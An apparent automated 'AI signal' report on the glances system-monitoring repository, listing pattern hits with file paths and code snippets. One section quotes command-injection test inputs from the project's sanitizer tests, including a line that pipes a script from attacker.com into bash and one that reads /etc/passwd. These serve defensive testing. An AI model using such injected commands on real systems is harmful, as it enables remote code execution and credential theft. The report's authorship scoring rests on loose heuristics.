Repository Analysis

nicolargo/glances

Glances an Eye on your system. A top/htop alternative for GNU/Linux, BSD, Mac OS and Windows operating systems.

32.9 Strong AI signal View on GitHub
32.9
Adjusted Score
32.9
Raw Score
100%
Time Factor
2026-05-30
Last Push
32,678
Stars
Python
Language
65,932
Lines of Code
326
Files
1212
Pattern Hits
2026-05-31
Scan Date

Score History

Severity Breakdown

CRITICAL 0HIGH 34MEDIUM 333LOW 845

Pattern Findings

1212 matches across 13 categories. Click a row to expand file-level details.

Self-Referential Comments220 hits · 670 pts
SeverityFileLineSnippet
MEDIUMtests/test_export_influxdb_v1.sh33# Create the glances database
MEDIUMtests/test_core.py1028 # Create a test plugin with MMM enabled
MEDIUMtests/test_core.py1167 # Create a list of stats
MEDIUMtests/test_plugin_virsh_injection.py3# This file is part of Glances.
MEDIUMtests/test_outdated.py3# This file is part of Glances.
MEDIUMtests/test_export_timescaledb.sh27# Create the glances database
MEDIUMtests/test_xmlrpc.py3# This file is part of Glances.
MEDIUMtests/test_mcp.py3# This file is part of Glances.
MEDIUMtests/test_export_influxdb_v3.sh18# Create the token
MEDIUMtests/test_export_influxdb_v3.sh24# Create a new configuration for the test
MEDIUMtests/test_export_influxdb_v3.sh28# Create the glances database
MEDIUMtests/test_duckdb_sanitize.py107 # Create a target table that the injection would try to drop
MEDIUMdocs/conf.py5# This file is execfile()d with the current directory set to its
MEDIUMglances/amps_list.py2# This file is part of Glances.
MEDIUMglances/stats_client.py2# This file is part of Glances.
MEDIUMglances/client_browser.py2# This file is part of Glances.
MEDIUMglances/standalone.py2# This file is part of Glances.
MEDIUMglances/event.py2# This file is part of Glances.
MEDIUMglances/server.py2# This file is part of Glances.
MEDIUMglances/web_list.py2# This file is part of Glances.
MEDIUMglances/attribute.py2# This file is part of Glances.
MEDIUMglances/servers_list_dynamic.py2# This file is part of Glances.
MEDIUMglances/servers_list_dynamic.py88 # Create an instance of the servers list
MEDIUMglances/config.py2# This file is part of Glances.
MEDIUMglances/config.py125 """This class is used to access/read config file, if it exists.
MEDIUMglances/thresholds.py2# This file is part of Glances.
MEDIUMglances/webserver.py2# This file is part of Glances.
MEDIUMglances/stats_server.py2# This file is part of Glances.
MEDIUMglances/stats_client_snmp.py2# This file is part of Glances.
MEDIUMglances/stats_client_snmp.py51 # Create an instance of the SNMP client
MEDIUMglances/timer.py2# This file is part of Glances.
MEDIUMglances/globals.py3# This file is part of Glances.
MEDIUMglances/client.py2# This file is part of Glances.
MEDIUMglances/events_list.py2# This file is part of Glances.
MEDIUMglances/events_list.py285 # Define the automatic process sort key
MEDIUMglances/events_list.py288 # Create the new log item
MEDIUMglances/events_list.py356 # Create a new clean list
MEDIUMglances/secure.py2# This file is part of Glances.
MEDIUMglances/actions.py2# This file is part of Glances.
MEDIUMglances/__init__.py2# This file is part of Glances.
MEDIUMglances/__init__.py185 # Create the Glances main instance
MEDIUMglances/logger.py2# This file is part of Glances.
MEDIUMglances/logger.py26# Define the glances log file
MEDIUMglances/logger.py40# Define the logging configuration
MEDIUMglances/stats_streamer.py2# This file is part of Glances.
MEDIUMglances/processes.py2# This file is part of Glances.
MEDIUMglances/servers_list_static.py2# This file is part of Glances.
MEDIUMglances/programs.py2# This file is part of Glances.
MEDIUMglances/password_list.py2# This file is part of Glances.
MEDIUMglances/stats.py2# This file is part of Glances.
MEDIUMglances/snmp.py2# This file is part of Glances.
MEDIUMglances/cpu_percent.py2# This file is part of Glances.
MEDIUMglances/filter.py2# This file is part of Glances.
MEDIUMglances/outdated.py2# This file is part of Glances.
MEDIUMglances/outdated.py152 # Create the cache directory
MEDIUMglances/jwt_utils.py2# This file is part of Glances.
MEDIUMglances/password.py2# This file is part of Glances.
MEDIUMglances/password.py110 # Create the glances directory
MEDIUMglances/main.py2# This file is part of Glances.
MEDIUMglances/servers_list.py2# This file is part of Glances.
160 more matches not shown…
Hyper-Verbose Identifiers450 hits · 495 pts
SeverityFileLineSnippet
LOWtests/test_actions_sanitize.py47 def test_empty_dict_returns_empty(self):
LOWtests/test_actions_sanitize.py56 def test_strips_double_ampersand(self):
LOWtests/test_actions_sanitize.py68 def test_strips_append_redirect(self):
LOWtests/test_actions_sanitize.py74 def test_strips_multiple_operators(self):
LOWtests/test_actions_sanitize.py83 def test_preserves_int_values(self):
LOWtests/test_actions_sanitize.py88 def test_preserves_float_values(self):
LOWtests/test_actions_sanitize.py93 def test_preserves_none_values(self):
LOWtests/test_actions_sanitize.py98 def test_preserves_bool_values(self):
LOWtests/test_actions_sanitize.py103 def test_preserves_list_values(self):
LOWtests/test_actions_sanitize.py108 def test_clean_string_unchanged(self):
LOWtests/test_actions_sanitize.py114 def test_does_not_mutate_original(self):
LOWtests/test_actions_sanitize.py133 def test_pipe_injection_in_process_name(self):
LOWtests/test_actions_sanitize.py144 def test_chain_injection_in_container_name(self):
LOWtests/test_actions_sanitize.py158 def test_redirect_injection_in_mount_point(self):
LOWtests/test_actions_sanitize.py168 def test_append_redirect_injection(self):
LOWtests/test_actions_sanitize.py250 def test_run_sanitizes_chain_in_mustache(self, actions):
LOWtests/test_actions_sanitize.py264 def test_run_sanitizes_redirect_in_mustache(self, actions):
LOWtests/test_actions_sanitize.py222 def test_run_with_safe_values(self, actions):
LOWtests/test_actions_sanitize.py233 def test_run_sanitizes_pipe_in_mustache(self, actions):
LOWtests/test_actions_sanitize.py278 def test_run_preserves_template_operators(self, actions):
LOWtests/test_actions_sanitize.py295 def test_run_preserves_template_redirect(self, actions):
LOWtests/test_actions_sanitize.py310 def test_run_preserves_template_chain(self, actions):
LOWtests/test_actions_sanitize.py324 def test_run_does_not_execute_when_already_triggered(self, actions):
LOWtests/test_actions_sanitize.py336 def test_run_repeats_when_repeat_true(self, actions):
LOWtests/test_browser_tui.py143 def test_serverlist_section_exists(self, browser_config):
LOWtests/test_browser_tui.py146 def test_passwords_section_exists(self, browser_config):
LOWtests/test_browser_tui.py190 def test_server_type_is_static(self, servers_list):
LOWtests/test_browser_tui.py194 def test_server_initial_status(self, servers_list):
LOWtests/test_browser_tui.py198 def test_server_default_username(self, servers_list):
LOWtests/test_browser_tui.py202 def test_server_default_empty_password(self, servers_list):
LOWtests/test_browser_tui.py215 def test_host_specific_password(self, servers_list):
LOWtests/test_browser_tui.py225 def test_no_password_without_default(self):
LOWtests/test_browser_tui.py264 def test_uri_without_password(self, servers_list):
LOWtests/test_browser_tui.py352 def test_uri_dynamic_uses_ip_not_name(self, servers_list):
LOWtests/test_browser_tui.py403 def test_get_connect_host_static(self, servers_list):
LOWtests/test_browser_tui.py407 def test_get_connect_host_dynamic(self, servers_list):
LOWtests/test_browser_tui.py411 def test_get_preconfigured_password_static(self, servers_list):
LOWtests/test_browser_tui.py415 def test_get_preconfigured_password_dynamic_returns_none(self, servers_list):
LOWtests/test_browser_tui.py419 def test_get_preconfigured_password_dynamic_no_default(self, servers_list):
LOWtests/test_browser_tui.py433 def test_attacker_advertised_server_no_credential_leak(self, servers_list):
LOWtests/test_browser_tui.py293 def test_uri_protected_uses_saved_password(self, servers_list):
LOWtests/test_browser_tui.py310 def test_uri_protected_default_fallback(self, servers_list):
LOWtests/test_browser_tui.py325 def test_uri_static_uses_name_not_ip(self, servers_list):
LOWtests/test_browser_tui.py367 def test_uri_dynamic_protected_no_saved_password(self, servers_list):
LOWtests/test_browser_tui.py385 def test_uri_dynamic_no_default_password_fallback(self, servers_list):
LOWtests/test_json_serializer.py107 def test_normalize_primitives(self):
LOWtests/test_json_serializer.py133 def test_serialize_plugin_data_none(self):
LOWtests/test_json_serializer.py137 def test_serialize_plugin_data_bytes_json(self):
LOWtests/test_json_serializer.py144 def test_serialize_plugin_data_bytes_invalid_json(self):
LOWtests/test_json_serializer.py149 def test_serialize_plugin_data_dict(self):
LOWtests/test_json_serializer.py171 def test_serialize_plugins_empty_list(self):
LOWtests/test_json_serializer.py178 def test_serialize_plugins_with_data(self):
LOWtests/test_json_serializer.py192 def test_serialize_plugins_plugin_not_enabled(self):
LOWtests/test_json_serializer.py203 def test_serialize_plugins_plugin_not_found(self):
LOWtests/test_json_serializer.py211 def test_serialize_plugins_with_metadata(self):
LOWtests/test_json_serializer.py223 def test_serialize_to_string_produces_valid_json(self):
LOWtests/test_json_serializer.py237 def test_serialize_handles_unicode(self):
LOWtests/test_json_serializer.py247 def test_serializer_with_errors_disabled(self):
LOWtests/test_json_serializer.py262 def test_serializer_with_errors_enabled(self):
LOWtests/test_json_serializer.py276 def test_multiple_plugins_one_fails(self):
390 more matches not shown…
Decorative Section Separators99 hits · 368 pts
SeverityFileLineSnippet
MEDIUMtests/test_actions_sanitize.py36# ---------------------------------------------------------------------------
MEDIUMtests/test_actions_sanitize.py38# ---------------------------------------------------------------------------
MEDIUMtests/test_actions_sanitize.py125# ---------------------------------------------------------------------------
MEDIUMtests/test_actions_sanitize.py127# ---------------------------------------------------------------------------
MEDIUMtests/test_actions_sanitize.py177# ---------------------------------------------------------------------------
MEDIUMtests/test_actions_sanitize.py179# ---------------------------------------------------------------------------
MEDIUMtests/test_actions_sanitize.py206# ---------------------------------------------------------------------------
MEDIUMtests/test_actions_sanitize.py208# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_tui.py135# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_tui.py137# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_tui.py207# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_tui.py209# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_tui.py232# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_tui.py234# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_tui.py256# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_tui.py258# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_tui.py341# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_tui.py343# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_tui.py425# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_tui.py427# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_tui.py31# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_tui.py33# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_tui.py101# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_tui.py103# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_tui.py163# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_tui.py165# ---------------------------------------------------------------------------
MEDIUMtests/test_core.py67# =================
MEDIUMtests/test_core.py80# ==============
MEDIUMtests/test_plugin_virsh_injection.py37# ---------------------------------------------------------------------------
MEDIUMtests/test_plugin_virsh_injection.py39# ---------------------------------------------------------------------------
MEDIUMtests/test_plugin_virsh_injection.py54# ---------------------------------------------------------------------------
MEDIUMtests/test_plugin_virsh_injection.py56# ---------------------------------------------------------------------------
MEDIUMtests/test_plugin_virsh_injection.py152# ---------------------------------------------------------------------------
MEDIUMtests/test_plugin_virsh_injection.py154# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_restful.py130# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_restful.py132# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_restful.py139# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_restful.py141# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_restful.py181# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_restful.py183# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_restful.py266# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_restful.py268# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_restful.py31# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_restful.py33# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_restful.py53# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_restful.py55# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_restful.py102# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_restful.py104# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_restful.py216# ---------------------------------------------------------------------------
MEDIUMtests/test_browser_restful.py218# ---------------------------------------------------------------------------
MEDIUMtests/test_api.py17# =================
MEDIUMtests/test_mcp.py380 # ------------------------------------------------------------------
MEDIUMtests/test_mcp.py382 # ------------------------------------------------------------------
MEDIUMtests/test_mcp.py413 # ------------------------------------------------------------------
MEDIUMtests/test_mcp.py415 # ------------------------------------------------------------------
MEDIUMtests/test_mcp.py428 # ------------------------------------------------------------------
MEDIUMtests/test_mcp.py430 # ------------------------------------------------------------------
MEDIUMtests/test_mcp.py489 # ------------------------------------------------------------------
MEDIUMtests/test_mcp.py491 # ------------------------------------------------------------------
MEDIUMtests/test_mcp.py520 # ------------------------------------------------------------------
39 more matches not shown…
Excessive Try-Catch Wrapping197 hits · 212 pts
SeverityFileLineSnippet
LOWtests/test_core.py227 except Exception as e:
LOWtests/test_core.py233 except Exception as e:
LOWtests/test_outdated.py88 except Exception:
LOWtests/test_plugin_sensors.py282 except Exception as e:
LOWtests/test_plugin_sensors.py292 except Exception as e:
LOWtests/test_plugin_sensors.py304 except Exception as e:
LOW.claude/skills/new-export.md66 except Exception as e:
LOW.claude/skills/new-export.md86 except Exception as e:
MEDIUMtests-data/tools/csvcheck.py23 print("Error: CSV file is empty")
MEDIUMtests-data/tools/csvcheck.py35 print(f"Error: Expected {expected_lines} lines, but found {row_count}")
MEDIUMtests-data/tools/csvcheck.py42 print("Error: Not all rows have the same number of columns")
MEDIUMtests-data/tools/csvcheck.py52 print(f"Error: Expected {expected_columns} columns, but found {header_columns}")
MEDIUMtests-data/tools/csvcheck.py59 print(f"Error: File '{input_file}' not found")
LOWtests-data/tools/csvcheck.py61 except Exception as e:
MEDIUMtests-data/tools/csvcheck.py62 print(f"Error processing CSV file: {str(e)}")
MEDIUMtests-data/tools/csvcheck.py15def check_csv(input_file, expected_lines, expected_columns=None):
MEDIUMtests-data/tools/duckdbcheck.py25 print(f"Error: Expected {expected_lines} CPU lines, but found {row_count}")
MEDIUMtests-data/tools/duckdbcheck.py33 print(f"Error: Expected {expected_lines} Network lines, but found {row_count}")
MEDIUMtests-data/tools/duckdbcheck.py39 print(f"Error: File '{input_file}' not found")
LOWtests-data/tools/duckdbcheck.py41 except Exception as e:
MEDIUMtests-data/tools/duckdbcheck.py42 print(f"Error processing DuckDB file: {str(e)}")
MEDIUMtests-data/tools/duckdbcheck.py16def check_duckdb(input_file, expected_lines, expected_columns=None):
LOWglances/amps_list.py60 except Exception as e:
LOWglances/server.py62 except Exception:
LOWglances/server.py229 except Exception as e:
LOWglances/servers_list_dynamic.py226 except Exception as e:
LOWglances/stats_client_snmp.py99 except Exception as e:
LOWglances/globals.py169 except Exception as e:
LOWglances/globals.py226 except Exception as e:
LOWglances/client.py70 except Exception as e:
LOWglances/client.py245 except Exception:
LOWglances/client.py290 except Exception:
LOWglances/stats_streamer.py64 except Exception as e:
LOWglances/processes.py124 except Exception as e:
LOWglances/processes.py135 except Exception as e:
LOWglances/processes.py817 except Exception as e:
LOWglances/stats.py116 except Exception as e:
LOWglances/stats.py234 except Exception as e:
LOWglances/cpu_percent.py253 except Exception as e:
LOWglances/filter.py130 except Exception as e:
LOWglances/outdated.py25except Exception as e:
LOWglances/outdated.py131 except Exception as e:
LOWglances/outdated.py166 except Exception as e:
LOWglances/outdated.py178 except Exception as e:
LOWglances/servers_list.py183 except Exception as e:
LOWglances/folder_list.py108 except Exception:
LOWglances/amps/systemv/__init__.py61 except Exception as e:
LOWglances/amps/default/__init__.py70 except Exception as e:
LOWglances/plugins/processlist/__init__.py193 except Exception:
LOWglances/plugins/sensors/__init__.py118 except Exception as e:
LOWglances/plugins/sensors/__init__.py156 except Exception as e:
LOWglances/plugins/sensors/sensor/glances_batpercent.py32except Exception as e:
LOWglances/plugins/sensors/sensor/glances_batpercent.py50 except Exception as e:
LOWglances/plugins/sensors/sensor/glances_hddtemp.py134 except Exception as e:
LOWglances/plugins/diskio/__init__.py149 except Exception:
LOWglances/plugins/gpu/__init__.py90 except Exception as e:
LOWglances/plugins/gpu/__init__.py97 except Exception as e:
LOWglances/plugins/gpu/__init__.py106 except Exception as e:
LOWglances/plugins/gpu/__init__.py115 except Exception as e:
LOWglances/plugins/gpu/cards/nvidia.py35except Exception as e:
137 more matches not shown…
Cross-File Repetition21 hits · 105 pts
SeverityFileLineSnippet
HIGHtests/test_plugin_load.py0test that get_items_history_list returns the history items.
HIGHtests/test_plugin_cpu.py0test that get_items_history_list returns the history items.
HIGHtests/test_plugin_memswap.py0test that get_items_history_list returns the history items.
HIGHtests/test_plugin_processcount.py0test that get_items_history_list returns the history items.
HIGHtests/test_plugin_mem.py0test that get_items_history_list returns the history items.
HIGHtests/test_plugin_load.py0test that msg_curse returns properly formatted entries.
HIGHtests/test_plugin_cpu.py0test that msg_curse returns properly formatted entries.
HIGHtests/test_plugin_processcount.py0test that msg_curse returns properly formatted entries.
HIGHtests/test_plugin_mem.py0test that msg_curse returns properly formatted entries.
HIGHtests/test_plugin_network.py0test that msg_curse returns empty without max_width.
HIGHtests/test_plugin_fs.py0test that msg_curse returns empty without max_width.
HIGHtests/test_plugin_diskio.py0test that msg_curse returns empty without max_width.
HIGHtests/test_plugin_sensors.py0test that msg_curse returns empty without max_width.
HIGHglances/servers_list_dynamic.py0set the key to the value for the server_pos (position in the list).
HIGHglances/servers_list_dynamic.py0set the key to the value for the server_pos (position in the list).
HIGHglances/servers_list_dynamic.py0set the key to the value for the server_pos (position in the list).
HIGHglances/servers_list_static.py0set the key to the value for the server_pos (position in the list).
HIGHglances/plugins/system/__init__.py0return the string to display in the curse interface.
HIGHglances/plugins/now/__init__.py0return the string to display in the curse interface.
HIGHglances/plugins/cloud/__init__.py0return the string to display in the curse interface.
HIGHglances/plugins/uptime/__init__.py0return the string to display in the curse interface.
Over-Commented Block103 hits · 103 pts
SeverityFileLineSnippet
LOWrequirements.txt1# This file was autogenerated by uv via the following command:
LOWdev-requirements.txt1# This file was autogenerated by uv via the following command:
LOWdev-requirements.txt21 # reuse
LOWdev-requirements.txt41cffi==2.0.0 ; (implementation_name != 'pypy' and os_name == 'nt') or platform_python_implementation != 'PyPy'
LOWdev-requirements.txt61colorama==0.4.6
LOWdev-requirements.txt81 # sphinx-rtd-theme
LOWdev-requirements.txt101 # via matplotlib
LOWdev-requirements.txt121 # via
LOWdev-requirements.txt141jsonschema-specifications==2025.9.1
LOWdev-requirements.txt161mdurl==0.1.2
LOWdev-requirements.txt181 # opentelemetry-instrumentation-requests
LOWdev-requirements.txt201 # opentelemetry-exporter-otlp-proto-http
LOWdev-requirements.txt221 # pytest
LOWdev-requirements.txt241 # opentelemetry-proto
LOWdev-requirements.txt281 # webdriver-manager
LOWdev-requirements.txt301 # webdriver-manager
LOWdev-requirements.txt341 # sphinx-rtd-theme
LOWdev-requirements.txt361 # via sphinx
LOWdev-requirements.txt381trio==0.33.0
LOWdev-requirements.txt401 # pyright
LOWdev-requirements.txt421 # semgrep
LOWdocker-requirements.txt1# This file was autogenerated by uv via the following command:
LOWdocker-requirements.txt21 # requests
LOWdocker-requirements.txt41exceptiongroup==1.2.2 ; python_full_version < '3.11'
LOWdocker-requirements.txt61 # via glances
LOWdocker-requirements.txt81 # via cffi
LOWdocker-requirements.txt101python-dotenv==1.2.2
LOWdocker-requirements.txt121 # requests-toolbelt
LOWdocker-requirements.txt141 # fastapi
LOWdocker-requirements.txt161 # fastapi
LOWall-requirements.txt1# This file was autogenerated by uv via the following command:
LOWall-requirements.txt21 # via glances
LOWall-requirements.txt41click==8.1.8
LOWall-requirements.txt61elastic-transport==9.4.0
LOWall-requirements.txt81humanfriendly==10.0
LOWall-requirements.txt101 # via glances
LOWall-requirements.txt141 # via bernhard
LOWall-requirements.txt161 # pydantic-settings
LOWall-requirements.txt181pyreadline3==3.5.6 ; sys_platform == 'win32'
LOWall-requirements.txt201python-dotenv==1.2.2
LOWall-requirements.txt221 # jsonschema
LOWall-requirements.txt241 # via python-jose
LOWall-requirements.txt261 # via
LOWall-requirements.txt281 # pyjwt
LOWall-requirements.txt301 # elastic-transport
LOW.readthedocs.yaml21 # Fail on all warnings to avoid broken references
LOWtests/test_core.py941 print('INFO: [TEST_104] Test memswap plugin methods')
LOWtests/test_api.py1#!/usr/bin/env python
LOWdocs/conf.py1#
LOWdocs/conf.py21# sys.path.insert(0, os.path.abspath('.'))
LOWdocs/conf.py61copyright = f'{year}, {author}'
LOWdocs/conf.py81# today = ''
LOWdocs/conf.py101# output. They are ignored by default.
LOWdocs/conf.py121html_theme = 'sphinx_rtd_theme'
LOWdocs/conf.py141
LOWdocs/conf.py161# If true, SmartyPants will be used to convert quotes and dashes to
LOWdocs/conf.py181# If true, links to the reST sources are added to the pages.
LOWdocs/conf.py201# 'nl', 'no', 'pt', 'ro', 'r', 'sv', 'tr'
LOWdocs/conf.py221 # 'pointsize': '10pt',
LOWdocs/conf.py241# latex_use_parts = False
43 more matches not shown…
Cross-Language Confusion12 hits · 84 pts
SeverityFileLineSnippet
HIGHtests/test_actions_sanitize.py57 d = {'name': 'web && curl evil.com'}
HIGHtests/test_actions_sanitize.py75 d = {'name': 'foo|bar && baz > qux >> end'}
HIGHtests/test_actions_sanitize.py147 'name': 'web && curl attacker.com/rev.sh | bash && echo ',
HIGHtests/test_actions_sanitize.py189 assert secure_popen('echo -n A && echo -n B') == 'AB'
HIGHtests/test_actions_sanitize.py259 mustache_dict={'name': 'web && cat /etc/passwd'},
HIGHtests/test_actions_sanitize.py145 """Simulate: container name contains && to chain commands."""
HIGHtests/test_plugin_virsh_injection.py91 assert not os.path.exists(canary), f'Command injection via && succeeded: {canary} was created'
HIGHtests/test_plugin_virsh_injection.py133 assert not os.path.exists(canary), f'Command injection via && succeeded: {canary} was created'
HIGHtests/test_plugin_virsh_injection.py166 domain = 'foo && touch /tmp/should-not-happen | tee >x'
HIGHtests/test_plugin_virsh_injection.py184 domain = 'titletest && cmd | x > y unique-arg-shape'
HIGHglances/plugins/containers/__init__.py531 # Only process if stats exist (and non null) and display plugin enable...
HIGHglances/plugins/vms/__init__.py209 # Only process if stats exist (and non null) and display plugin enable...
Deep Nesting63 hits · 60 pts
SeverityFileLineSnippet
LOWtests/test_core.py91
LOWtests/test_restful.py110
LOWtests-data/tools/csvcheck.py15
LOWglances/stats_client.py32
LOWglances/standalone.py33
LOWglances/web_list.py31
LOWglances/config.py182
LOWglances/config.py346
LOWglances/globals.py302
LOWglances/globals.py430
LOWglances/globals.py530
LOWglances/globals.py677
LOWglances/globals.py746
LOWglances/globals.py768
LOWglances/client.py157
LOWglances/__init__.py125
LOWglances/servers_list_static.py27
LOWglances/stats.py148
LOWglances/ports_list.py28
LOWglances/amps/amp.py58
LOWglances/amps/systemv/__init__.py54
LOWglances/amps/systemd/__init__.py57
LOWglances/plugins/memswap/__init__.py70
LOWglances/plugins/wifi/__init__.py139
LOWglances/plugins/processlist/__init__.py957
LOWglances/plugins/sensors/__init__.py192
LOWglances/plugins/sensors/__init__.py207
LOWglances/plugins/sensors/__init__.py340
LOWglances/plugins/gpu/cards/arm.py201
LOWglances/plugins/gpu/cards/arm.py293
LOWglances/plugins/plugin/model.py345
LOWglances/plugins/plugin/model.py472
LOWglances/plugins/plugin/model.py803
LOWglances/plugins/plugin/model.py904
LOWglances/plugins/plugin/model.py1306
LOWglances/plugins/plugin/model.py1309
LOWglances/plugins/npu/cards/intel.py94
LOWglances/plugins/npu/cards/rockchip.py90
LOWglances/plugins/npu/cards/amd.py98
LOWglances/plugins/system/__init__.py82
LOWglances/plugins/system/__init__.py182
LOWglances/plugins/system/__init__.py228
LOWglances/plugins/raid/__init__.py68
LOWglances/plugins/percpu/__init__.py143
LOWglances/plugins/folders/__init__.py98
LOWglances/plugins/containers/engines/podman.py78
LOWglances/plugins/containers/engines/lxd.py164
LOWglances/plugins/ports/__init__.py169
LOWglances/exports/export.py163
LOWglances/exports/export.py263
LOWglances/exports/export.py297
LOWglances/exports/glances_clickhouse/__init__.py35
LOWglances/exports/glances_clickhouse/__init__.py121
LOWglances/exports/glances_clickhouse/__init__.py199
LOWglances/exports/glances_timescaledb/__init__.py90
LOWglances/exports/glances_mqtt/__init__.py111
LOWglances/exports/glances_duckdb/__init__.py94
LOWglances/outputs/glances_stdout_issue.py65
LOWglances/outputs/glances_curses_browser.py148
LOWglances/outputs/glances_stdout_csv.py50
3 more matches not shown…
Redundant / Tautological Comments31 hits · 50 pts
SeverityFileLineSnippet
LOWtests/test_core.py341 # Check if number of processes in the list equal counter
LOWtests/test_core.py859 # Check if history_max_size=3 is OK
LOWtests/test_core.py999 # Set field to 0 (should be hidden)
LOWtests/test_core.py1005 # Set field to 0 (should be hidden)
LOWtests/test_core.py1011 # Set field to 1 (should not be hidden)
LOWtests/test_export_prometheus.sh17# Check if we can access the Prometheus metrics endpoint
LOWtests/test_restful.py84 # Check if result of first call is equal to second call
LOWglances/web_list.py98 # Add the server to the list
LOWglances/events_list.py158 # Check if the weight is > to the minimal threshold value
LOWglances/events_list.py306 # Add the event to the list
LOWglances/logger.py86 # Check if a specific configuration is available
LOWglances/processes.py810 # Check if a specific sort should be done
LOWglances/servers_list_static.py76 # Add the server to the list
LOWglances/stats.py49 # Check if the attribute starts with 'get'
LOWglances/folder_list.py85 # Add the item to the list
LOWglances/ports_list.py94 # Add the server to the list
LOWglances/plugins/sensors/__init__.py367 # Add sensor to the list
LOWglances/plugins/plugin/model.py1168 # Check if a shortname is defined
LOWglances/plugins/plugin/model.py1176 # Check if unit is defined and get the short unit char in the unit_sort dict
LOWglances/plugins/plugin/model.py1187 # Check if unit is defined and get the unit type unit_type dict
LOWglances/plugins/plugin/model.py1317 # Check if the field exist (avoid error on some OS where some fields are not available)
LOWglances/plugins/folders/__init__.py81 # Check if the glances_folder instance is init
LOWglances/plugins/vms/engines/virsh.py22# Check if virsh binary exist
LOWglances/plugins/vms/engines/multipass.py20# Check if multipass binary exist
LOWglances/exports/export.py234 # Add the measurement to the list
LOWglances/exports/glances_graph/__init__.py52 # Check if output folder is writeable
LOWglances/outputs/glances_restful_api.py800 # Check if JWT is available
LOWglances/outputs/glances_restful_api.py807 # Check if password authentication is enabled
LOWglances/outputs/glances_stdout_issue.py117 # Display the result
LOWglances/outputs/glances_stdout_csv.py98 # Check if the plugin exist and is enable
LOWglances/outputs/glances_stdout.py57 # Check if the plugin exist and is enable
Unused Imports11 hits · 11 pts
SeverityFileLineSnippet
LOWglances/globals.py19
LOWglances/globals.py23
LOWglances/globals.py29
LOWglances/globals.py30
LOWglances/globals.py30
LOWglances/globals.py30
LOWglances/globals.py34
LOWglances/globals.py34
LOWglances/globals.py35
LOWglances/globals.py35
LOWglances/globals.py36
Docstring Block Structure1 hit · 5 pts
SeverityFileLineSnippet
HIGHglances/jwt_utils.py61Create a JWT access token for the given username. Args: username: The username to encode in the tok
Slop Phrases2 hits · 3 pts
SeverityFileLineSnippet
LOWtests-data/issues/issue3341-NATS/pub.py18# To run this test script, make sure you have a NATS server running locally.
LOWtests-data/issues/issue3341-NATS/sub.py32# To run this test script, make sure you have a NATS server running locally.
AI Slop Vocabulary2 hits · 2 pts
SeverityFileLineSnippet
LOWglances/globals.py726 # Otherwise just add the current char
MEDIUMglances/exports/export.py255 """Return fields description in order to init stats in a server."""